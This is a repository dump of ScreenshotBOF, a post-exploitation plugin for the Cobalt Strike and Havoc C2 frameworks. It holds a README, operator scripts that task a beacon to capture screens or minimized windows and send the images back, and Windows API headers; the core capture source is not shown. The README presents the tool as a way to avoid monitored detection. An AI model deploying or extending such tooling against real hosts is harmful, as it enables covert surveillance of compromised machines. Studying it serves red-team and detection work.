Full Code of CodeXTF2/ScreenshotBOF for AI

master 4042b77df8cf cached
19 files
153.5 KB
43.9k tokens
51 symbols
1 requests
Download .txt
Repository: CodeXTF2/ScreenshotBOF
Branch: master
Commit: 4042b77df8cf
Files: 19
Total size: 153.5 KB

Directory structure:
gitextract_truwui5c/

├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── ScreenshotBOF/
│   ├── ScreenshotBOF.x64.obj
│   ├── ScreenshotBOF.x86.obj
│   ├── screenshotBOF.cna
│   └── screenshotBOF.py
├── beacon.h
├── bofdefs.h
├── common/
│   ├── anticrash.c
│   ├── base.c
│   ├── beacon.h
│   ├── bofdefs.h
│   ├── queue.c
│   ├── stack.c
│   ├── wmi.c
│   └── wmi.h
└── entry.cpp

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
/.vs
/ScreenshotBOF/intermediary

================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2025 CodeX

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: Makefile
================================================
BOFNAME := ScreenshotBOF
COMINCLUDE := -I .common
LIBINCLUDE := 
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc
CC=x86_64-w64-mingw32-clang

all:
	$(CC_x64) -o $(BOFNAME).x64.obj $(COMINCLUDE) -Os -c entry.cpp -DBOF 
	$(CC_x86) -o $(BOFNAME).x86.obj $(COMINCLUDE) -Os -c entry.cpp -DBOF
	mkdir -p $(BOFNAME) 
	mv $(BOFNAME)*.obj $(BOFNAME)

test:
	$(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE)  -o $(BOFNAME).x64.exe
	$(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe

scanbuild:
	$(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE)

check:
	cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c

clean:
	rm $(BOFNAME).*.exe

================================================
FILE: README.md
================================================
# ScreenshotBOF

An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.

# Features
- JPEG compression
- In memory download as screenshot or as file
- Supports capturing of minimized windows
- Grayscale, JPEG quality and Downscaling to reduce file size

## Self Compilation
1. git clone the repo
2. run `make`

## Save methods:  
0. drop file to disk
1. download file over beacon (Cobalt Strike only)
2. download file over beacon as a screenshot (Cobalt Strike only)

## PID
0: capture full screen (PID = 0)
specific PID: capture specific PID (works even when minimized!)

## Usage
1. import the screenshotBOF.cna script into Cobalt Strike
2. use the command screenshot_bof {local filename} {save method 0/1/2} {pid/0} {grayscale 0/1} {quality 0-100} {scale 0-100}
   - running `screenshot_bof` with no arguments will pop a GUI dialog
  
```
beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully
```


## Notes
- no evasion is performed, which should be fine since the WinAPIs used are not malicious

## Why did I make this?
Cobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.

## Credits
- Save BMP to file from https://stackoverflow.com/a/60667564
- in memory download from https://github.com/anthemtotheego/CredBandit
- @BinaryFaultline for (deprecated) BMP rendering in aggressorscript, and screenshot callback function
- bitmap to jpeg from https://github.com/WKL-Sec/HiddenDesktop

## Disclaimer
usual disclaimer here, I am not responsible for any crimes against humanity you may commit or nuclear war you may cause using this piece of poorly written code.


================================================
FILE: ScreenshotBOF/screenshotBOF.cna
================================================
# Register command
beacon_command_register(
    "screenshot_bof",
    "Alternative screenshot capability that does not do fork n run",
    "Use: screenshot_bof [filename] [save method] [PID] [grayscale(0/1)=0] [quality 0-100=90] [scale%=100]\n- PID 0 captures full screen\n- Save methods: 0 drop to disk, 1 download file, 2 download screenshot\n- Grayscale/quality/scale optional; defaults applied when omitted\n- Scale is percent of original (e.g., 50 = half size)\n\nTake a screenshot inline using a BOF. Screenshot is saved as JPEG on disk or downloaded over beacon."
);

sub execute_screenshot {
    local('$bid $filename $method $pid $grayscale $quality $scale $handle $data $args $barch');
    ($bid, $filename, $method, $pid, $grayscale, $quality, $scale) = @_;

    if ($bid is $null) {
        show_message("Error: No Beacon ID found. Please run this command from a Beacon console.");
        return;
    }

    $barch = barch($bid);

    # read in the right BOF file
    $handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
    if (isnull($handle)) {
        berror($bid, "Error: Could not find ScreenshotBOF. $+ $barch $+ .obj in script resource path.");
        return;
    }
    $data = readb($handle, -1);
    closef($handle);

    $args = bof_pack($bid, "ziiiii", $filename, int($method), int($pid), int($grayscale), int($quality), int($scale));

    btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
    beacon_inline_execute($bid, $data, "go", $args);
}

alias screenshot_bof {
    local('$bid');
    $bid = $1;

    # CASE 1: Arguments provided (CLI Mode)
    if (size(@_) > 1) {
        if (size(@_) < 4 || size(@_) > 7) {
            berror($bid, "Syntax: screenshot_bof [filename] [save method 0/1/2] [PID] [grayscale(0/1)=0] [quality 0-100=90] [scale%=100]");
            return;
        }
        local('$filename $method $pid $grayscale $quality $scale');
        $filename   = $2;
        $method     = $3;
        $pid        = $4;
        $grayscale  = iff(size(@_) >= 5, $5, 0);
        $quality    = iff(size(@_) >= 6, $6, 90);
        $scale      = iff(size(@_) >= 7, $7, 100);

        execute_screenshot($bid, $filename, $method, $pid, $grayscale, $quality, $scale);
    }
    # CASE 2: No arguments provided (GUI Mode)
    else {
        if ($bid is $null) {
            show_message("Error: You must run this command from inside a Beacon's console.");
            return;
        }

        local('$dialog %defaults');
        
        # Define the human-readable options
        # I added the numbers in parens so you know what they map to if you switch back to CLI
        local('@options');
        @options = @("Write to disk (0)", "Download as file (1)", "Download as screenshot (2)");

        %defaults["filename"]  = "image.jpeg";
        %defaults["method"]    = "Download as screenshot (2)"; # Set default text
        %defaults["pid"]       = "0";
        %defaults["grayscale"] = "false"; 
        %defaults["quality"]   = "90";
        %defaults["scale"]     = "100";
        %defaults["_bid"]      = $bid;

        $dialog = dialog("Screenshot BOF Config", %defaults, lambda({
            local('$filename $method_str $method_int $pid $grayscale $quality $scale $target_bid');
            
            $target_bid = $3["_bid"];
            $filename   = $3["filename"];
            $method_str = $3["method"];
            $pid        = $3["pid"];
            $quality    = $3["quality"];
            $scale      = $3["scale"];
            $grayscale  = iff($3["grayscale"] eq "true", 1, 0);

            # Map the text selection back to the integer the BOF needs
            if ($method_str eq "Write to disk (0)") {
                $method_int = 0;
            }
            else if ($method_str eq "Download as file (1)") {
                $method_int = 1;
            }
            else {
                $method_int = 2; # Default to screenshot view
            }

            execute_screenshot($target_bid, $filename, $method_int, $pid, $grayscale, $quality, $scale);
        }));

        dialog_description($dialog, "Configure the screenshot parameters. Leave PID as 0 for full screen.");
        
        drow_text($dialog, "filename", "Filename:");
        drow_combobox($dialog, "method", "Save Method:", @options);
        drow_text($dialog, "pid", "PID (0=Full Screen):");
        drow_checkbox($dialog, "grayscale", "Grayscale");
        drow_text($dialog, "quality", "Quality (0-100):");
        drow_text($dialog, "scale", "Scale %:");
        
        dbutton_action($dialog, "Execute");
        dialog_show($dialog);
    }
}

================================================
FILE: ScreenshotBOF/screenshotBOF.py
================================================
from havoc import Demon, RegisterCommand

def screenshot_bof(
    demonID,
    * param: tuple
):
    TaskID : str    = None
    demon  : Demon  = None
    packer : Packer = Packer()

    demon     = Demon( demonID )
    BOF_ENTRY = "go"
    BOF_NAME  = f"ScreenshotBOF.{demon.ProcessArch}.obj"

    TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to take screenshot (via ScreenshotBOF)" )
    if len( param  ) < 3:
        demon.ConsoleWrite( demon.CONSOLE_ERROR, "Invalid arguments provided" )
        return False

    filename, save_method, pid = param
    match save_method:
        case "0" | "1":
            pass
        case "2":
            demon.ConsoleWrite(demon.CONSOLE_ERROR, "save method (2) not supported")
            return False
        case _:
            demon.ConsoleWrite(demon.CONSOLE_ERROR, "Invalid save_method provided")
            return False

    packer.addstr( filename )
    packer.addint( int( save_method ) )
    packer.addint( int( pid ) )

    BOF_PARAMS = packer.getbuffer()
    demon.InlineExecute(
        TaskID,
        BOF_ENTRY,
        BOF_NAME,
        BOF_PARAMS,
        False
    )

    return TaskID

RegisterCommand(
    screenshot_bof,
    "",
    "screenshotBOF",
    "Take a screenshot of the screen and/or other processes",
    0,
    "<filename> <save_method> <PID>\n"
    "\n"
    "Arguments:\n"
    "  filename     Name of the file to save the screenshot as\n"
    "  save_method  0 - Drop file to disk\n"
    "               1 - Download over beacon as a file\n"
    "               2 - Download over beacon as a screenshot\n"
    "  PID          Set to 0 for full screen capture, or provide a process ID\n",
    "screen.jpg 1 0"
);


================================================
FILE: beacon.h
================================================
#pragma once

/*
 * Beacon Object Files (BOF)
 * -------------------------
 * A Beacon Object File is a light-weight post exploitation tool that runs
 * with Beacon's inline-execute command.
 *
 * Cobalt Strike 4.1.
 */

/* data API */
typedef struct {
	char * original; /* the original buffer [so we can free it] */
	char * buffer;   /* current pointer into our buffer */
	int    length;   /* remaining length of data */
	int    size;     /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);

/* format API */
typedef struct {
	char * original; /* the original buffer [so we can free it] */
	char * buffer;   /* current pointer into our buffer */
	int    length;   /* remaining length of data */
	int    size;     /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT      0x0
#define CALLBACK_OUTPUT_OEM  0x1e
#define CALLBACK_ERROR       0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_FILE		 0x02
#define CALLBACK_FILE_WRITE  0x08
#define CALLBACK_FILE_CLOSE  0x09
#define CALLBACK_SCREENSHOT  0x03

DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);

/* Token Functions */
DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void   BeaconRevertToken();
DECLSPEC_IMPORT BOOL   BeaconIsAdmin();

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);


================================================
FILE: bofdefs.h
================================================
#pragma once
/* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */
#include <windows.h>
#include <gdiplus.h>

#ifdef BOF

#ifdef __cplusplus
extern "C" {
#endif

#include "beacon.h"

void go(char* buff, int len);


/* 7/2/2025 update*/

DECLSPEC_IMPORT int WINAPI MSVCRT$fclose(FILE* stream);
#define fclose    MSVCRT$fclose

DECLSPEC_IMPORT FILE* WINAPI MSVCRT$fopen(const char* filename, const char* mode);
#define fopen     MSVCRT$fopen

DECLSPEC_IMPORT size_t WINAPI MSVCRT$fwrite(const void* ptr, size_t size, size_t count, FILE* stream);
#define fwrite    MSVCRT$fwrite

DECLSPEC_IMPORT BOOL WINAPI User32$ShowWindow(HWND hWnd, int nCmdShow);
#define ShowWindow User32$ShowWindow

DECLSPEC_IMPORT BOOL WINAPI User32$PrintWindow(HWND hWnd, HDC hdcBlt, UINT nFlags);
#define PrintWindow User32$PrintWindow

DECLSPEC_IMPORT BOOL WINAPI User32$SetLayeredWindowAttributes(HWND hwnd, COLORREF crKey, BYTE bAlpha, DWORD dwFlags);
#define SetLayeredWindowAttributes User32$SetLayeredWindowAttributes

DECLSPEC_IMPORT BOOL WINAPI User32$SetWindowPos(HWND hWnd, HWND hWndInsertAfter, int X, int Y, int cx, int cy, UINT uFlags);
#define SetWindowPos User32$SetWindowPos

DECLSPEC_IMPORT BOOL WINAPI User32$GetWindowPlacement(HWND hWnd, WINDOWPLACEMENT* lpwndpl);
#define GetWindowPlacement User32$GetWindowPlacement

DECLSPEC_IMPORT BOOL WINAPI User32$IsWindowVisible(HWND hWnd);
#define IsWindowVisible User32$IsWindowVisible

DECLSPEC_IMPORT BOOL WINAPI User32$UpdateWindow(HWND hWnd);
#define UpdateWindow User32$UpdateWindow

DECLSPEC_IMPORT BOOL WINAPI User32$GetWindowRect(HWND hWnd, LPRECT lpRect);
#define GetWindowRect User32$GetWindowRect

DECLSPEC_IMPORT LONG WINAPI User32$GetWindowLongA(HWND hWnd, int nIndex);
#define GetWindowLongA User32$GetWindowLongA

DECLSPEC_IMPORT LONG WINAPI User32$SetWindowLongA(HWND hWnd, int nIndex, LONG dwNewLong);
#define SetWindowLongA User32$SetWindowLongA

DECLSPEC_IMPORT BOOL WINAPI User32$EnumWindows(WNDENUMPROC lpEnumFunc, LPARAM lParam);

DECLSPEC_IMPORT DWORD WINAPI User32$GetWindowThreadProcessId(HWND hWnd, LPDWORD lpdwProcessId);
#define GetWindowThreadProcessId User32$GetWindowThreadProcessId


/* resolve some extra funcs for the screenshot */


    DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND, LPCTSTR, LPCTSTR, UINT);
#define MessageBoxCustom User32$MessageBoxA

    DECLSPEC_IMPORT int WINAPI User32$GetSystemMetrics(int nIndex);
#define GetSystemMetrics User32$GetSystemMetrics

    DECLSPEC_IMPORT BOOL WINAPI User32$SetProcessDPIAware();
#define SetProcessDPIAware User32$SetProcessDPIAware

    DECLSPEC_IMPORT HDC WINAPI User32$GetDC(HWND hWnd);
#define GetDC User32$GetDC

    DECLSPEC_IMPORT HDC WINAPI GDI32$CreateCompatibleDC(HDC hdc);
#define CreateCompatibleDC GDI32$CreateCompatibleDC

    DECLSPEC_IMPORT HBITMAP WINAPI GDI32$CreateCompatibleBitmap(HDC hdc, int cx, int cy);
#define CreateCompatibleBitmap GDI32$CreateCompatibleBitmap

    DECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$SelectObject(HDC hdc, HGDIOBJ h);
#define SelectObject GDI32$SelectObject

    DECLSPEC_IMPORT BOOL WINAPI GDI32$BitBlt(HDC   hdc,
        int   x,
        int   y,
        int   cx,
        int   cy,
        HDC   hdcSrc,
        int   x1,
        int   y1,
        DWORD rop);
#define BitBlt GDI32$BitBlt

    DECLSPEC_IMPORT BOOL WINAPI User32$OpenClipboard(HWND hWndNewOwner);
#define OpenClipboard User32$OpenClipboard

    DECLSPEC_IMPORT BOOL WINAPI User32$EmptyClipboard();
#define EmptyClipboard User32$EmptyClipboard

    DECLSPEC_IMPORT BOOL WINAPI User32$SetClipboardData(UINT uFormat, HANDLE hMem);
#define SetClipboardData User32$SetClipboardData

    DECLSPEC_IMPORT BOOL WINAPI User32$CloseClipboard();
#define CloseClipboard User32$CloseClipboard

    DECLSPEC_IMPORT BOOL WINAPI GDI32$DeleteDC(HDC hdc);
#define DeleteDC GDI32$DeleteDC

    DECLSPEC_IMPORT int WINAPI User32$ReleaseDC(HWND hWnd, HDC  hDC);
#define ReleaseDC User32$ReleaseDC

    DECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$DeleteObject(HGDIOBJ ho);
#define DeleteObject GDI32$DeleteObject



    /* End of function resolutions for screenshot */

    /* Resolve some functions for writing BMP to disk*/

    DECLSPEC_IMPORT HDC WINAPI GDI32$CreateDCA(LPCSTR         pwszDriver,
        LPCSTR         pwszDevice,
        LPCSTR         pszPort,
        const DEVMODEA* pdm);
#define CreateDCA GDI32$CreateDCA

    DECLSPEC_IMPORT int WINAPI GDI32$GetDeviceCaps(HDC hdc,
        int index);
#define GetDeviceCaps GDI32$GetDeviceCaps

    DECLSPEC_IMPORT int WINAPI GDI32$GetObjectA(HANDLE h,
        int    c,
        LPVOID pv);
#define GetObjectA GDI32$GetObjectA
    DECLSPEC_IMPORT HGLOBAL WINAPI KERNEL32$GlobalAlloc(
        UINT   uFlags,
        SIZE_T dwBytes);
#define GlobalAlloc KERNEL32$GlobalAlloc

    DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$GlobalLock(HGLOBAL);
#define GlobalLock KERNEL32$GlobalLock

    DECLSPEC_IMPORT WINGDIAPI HGDIOBJ WINAPI GDI32$GetStockObject(int);
#define GetStockObject GDI32$GetStockObject

    DECLSPEC_IMPORT WINGDIAPI HPALETTE WINAPI GDI32$SelectPalette(HDC, HPALETTE, BOOL);
#define SelectPalette GDI32$SelectPalette

    DECLSPEC_IMPORT WINGDIAPI UINT WINAPI GDI32$RealizePalette(HDC);
#define RealizePalette GDI32$RealizePalette

    DECLSPEC_IMPORT WINGDIAPI int WINAPI GDI32$GetDIBits(HDC          hdc,
        HBITMAP      hbm,
        UINT         start,
        UINT         cLines,
        LPVOID       lpvBits,
        LPBITMAPINFO lpbmi,
        UINT         usage);
#define GetDIBits GDI32$GetDIBits

    DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GlobalUnlock(HGLOBAL);
#define GlobalUnlock KERNEL32$GlobalUnlock

    DECLSPEC_IMPORT WINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalFree(HGLOBAL);
#define GlobalFree KERNEL32$GlobalFree

    DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
#define CloseHandle KERNEL32$CloseHandle




    /* End of function resolutions for writing BMP to disk */


/* COM */
DECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CLSIDFromString(LPCWSTR, LPCLSID);
DECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv);
DECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CoInitializeEx(LPVOID, DWORD);
DECLSPEC_IMPORT VOID     WINAPI   OLE32$CoUninitialize();
DECLSPEC_IMPORT HRESULT  WINAPI   OLE32$IIDFromString(LPWSTR lpsz, LPIID lpiid);
DECLSPEC_IMPORT HRESULT	 WINAPI	  OLE32$CoInitialize(LPVOID pvReserved);
DECLSPEC_IMPORT HRESULT	 WINAPI   OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*);
DECLSPEC_IMPORT BSTR	 WINAPI	  OleAut32$SysAllocString(const OLECHAR*);
DECLSPEC_IMPORT LPVOID	 WINAPI	  OLEAUT32$VariantInit(VARIANTARG* pvarg);
DECLSPEC_IMPORT HRESULT	 WINAPI	  OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel,  DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3);

/* Registry */
DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey);
DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired,
	CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition);
DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType,
	CONST BYTE* lpData, DWORD cbData);


/* FileSystem */
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetFilePointerEx(HANDLE hFile, LARGE_INTEGER liDistanceToMove, PLARGE_INTEGER lpDistanceToMoveHigh, DWORD dwMoveMethod);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);
DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilenamea, LPDWORD lpdwHandle);
DECLSPEC_IMPORT BOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
DECLSPEC_IMPORT BOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID* lplpBuffer, PUINT puLen);


/* Memory */
DECLSPEC_IMPORT LPVOID	WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
DECLSPEC_IMPORT BOOL	WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
DECLSPEC_IMPORT LPVOID	WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
DECLSPEC_IMPORT void* __cdecl  MSVCRT$memcpy(LPVOID, LPVOID, size_t);
DECLSPEC_IMPORT void* __cdecl  MSVCRT$malloc(size_t);
DECLSPEC_IMPORT void __cdecl   MSVCRT$memset(void*, int, size_t);


/* Process */
DECLSPEC_IMPORT HANDLE	WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
DECLSPEC_IMPORT BOOL	WINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
DECLSPEC_IMPORT HANDLE	WINAPI KERNEL32$GetProcessHeap();
DECLSPEC_IMPORT SIZE_T WINAPI  KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
DECLSPEC_IMPORT DWORD WINAPI   KERNEL32$GetProcessId(HANDLE Process);
DECLSPEC_IMPORT BOOL WINAPI    KERNEL32$ReadProcessMemory(HANDLE  hProcess, LPCVOID lpBaseAddress, LPVOID  lpBuffer, SIZE_T  nSize, SIZE_T* lpNumberOfBytesRead);
DECLSPEC_IMPORT VOID WINAPI    KERNEL32$Sleep(DWORD dwMilliseconds);
DECLSPEC_IMPORT HANDLE WINAPI  KERNEL32$GetCurrentProcess(VOID);
DECLSPEC_IMPORT BOOL WINAPI	   ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);
DECLSPEC_IMPORT DWORD WINAPI   PSAPI$GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize);


/* GetLast Error */
DECLSPEC_IMPORT DWORD	WINAPI KERNEL32$GetLastError(VOID);


/* Directories */
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$RemoveDirectoryA(LPCSTR);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);
DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathIsDirectoryA(LPCSTR);
DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath);


/* strings */
DECLSPEC_IMPORT PSTR WINAPI SHLWAPI$StrChrA(PCSTR pszStart, WORD wMatch);
DECLSPEC_IMPORT LPSTR	__cdecl	MSVCRT$strchr(LPSTR, int);
DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcat_s(LPSTR, size_t, LPCSTR);
DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcpy_s(LPSTR, size_t, LPCSTR);
DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strncpy_s(LPSTR, size_t, LPCSTR, size_t);
DECLSPEC_IMPORT int		__cdecl	MSVCRT$_snprintf(LPSTR, size_t, LPCSTR, ...);
DECLSPEC_IMPORT void WINAPI		MSVCRT$sprintf(char*, char[], ...);
DECLSPEC_IMPORT int		__cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list);
DECLSPEC_IMPORT	size_t	__cdecl MSVCRT$wcslen(LPCWSTR);
DECLSPEC_IMPORT int __cdecl		MSVCRT$strcmp(const char* _Str1, const char* _Str2);
DECLSPEC_IMPORT size_t __cdecl		MSVCRT$strlen(const char* str);
DECLSPEC_IMPORT LPSTR WINAPI	Kernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
DECLSPEC_IMPORT LPSTR WINAPI	Kernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2);
DECLSPEC_IMPORT LPSTR WINAPI	Kernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength);
DECLSPEC_IMPORT int WINAPI		KERNEL32$lstrlenW(LPCWSTR lpString);
DECLSPEC_IMPORT LPWSTR WINAPI	KERNEL32$lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2);


/* RPC */
DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$RpcStringFreeA(RPC_CSTR* String);
DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidCreate(UUID* Uuid);
DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid);


/* Random */
DECLSPEC_IMPORT void WINAPI MSVCRT$srand(int initial);
DECLSPEC_IMPORT int WINAPI MSVCRT$rand();


/* DateTime */
DECLSPEC_IMPORT time_t WINAPI MSVCRT$time(time_t* time);


/* SystemInfo */
DECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFeature);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);






#ifdef __cplusplus
}
#endif


/* helper macros */

#define malloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)	/* trustedsec */

/* 8/2/2025: THIS BROKE FOR SOME REASON */
//#define free(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (LPVOID)addr)	/* trustedsec */
/* reassigned this to the MSVCRT free */
extern "C" DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* _Memory);
#define free(addr)    MSVCRT$free((void*)addr)  

#define ZeroMemory(address, size) memset(address, 0, size);

